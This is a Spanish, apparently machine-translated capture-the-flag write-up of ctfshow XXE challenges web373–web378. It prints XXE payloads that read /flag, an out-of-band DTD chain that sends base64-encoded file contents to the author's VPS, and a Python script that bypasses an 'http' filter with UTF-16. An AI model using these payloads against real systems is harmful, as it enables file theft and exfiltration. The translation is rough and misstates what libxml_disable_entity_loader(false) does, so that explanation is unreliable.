ctfshow XXE web373-web378 wp

Directorio de artículos

web373

XXE (inyección de entidad externa XML) significa inyección de entidad externa XML. La entidad externa XML inyectada

inserte la descripción de la imagen aquí

Artículo de referencia: un artículo lo lleva a una comprensión profunda de la vulnerabilidad XXE de la vulnerabilidad

libxml_disable_entity_loader(false);: Deshabilitar la carga de entidades externas. Una entidad consta de tres partes: un ampersand (&), un nombre de entidad y un punto y coma (;)

la bandera está en la bandera

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<mumuzi>
<ctfshow>&cmd;</ctfshow>
</mumuzi>

inserte la descripción de la imagen aquí

web374-376

La diferencia con 373 es que no hay echo $ctfshow; es decir, no hay eco

Debido a que no hay eco, solo puedo encontrar una manera de llevarlo a mi VPS.

Las siguientes preguntas filtran el encabezado xml Aquí, se crea un archivo dtd en el vps para rebotar el shell.

#test.dtd
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://xxx:10086/%file;'> ">
%dtd;
%xxe;

Escuche en el puerto 10086

Entonces el paquete POST se puede recibir en el vps

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

inserte la descripción de la imagen aquí

De hecho, estuvo atascado aquí durante mucho tiempo. De los 4 vps, uno tenía el grupo de seguridad cerrado todo el tiempo (solo se abrían dos puertos comunes), uno no tenía entorno PHP y uno estaba ocupado por Streamlit. Esto es el entorno PHP que se acaba de instalar. me adormezco

web377

El método es el mismo que el anterior, pero el filtrado de http requiere una omisión de codificación.

import requests
url = 'http://b70f356b-ab20-4df6-b661-d7827322fc80.challenge.ctf.show/'
data = '''<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://101.35.244.30/test.dtd">
%aaa;
]>
<root>1</root>'''
r = requests.post(url=url,data=data.encode('utf-16'))

web378

XXE estándar de Intuit

<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>

Supongo que te gusta

Origin blog.csdn.net/qq_42880719/article/details/122777442
Recomendado
Clasificación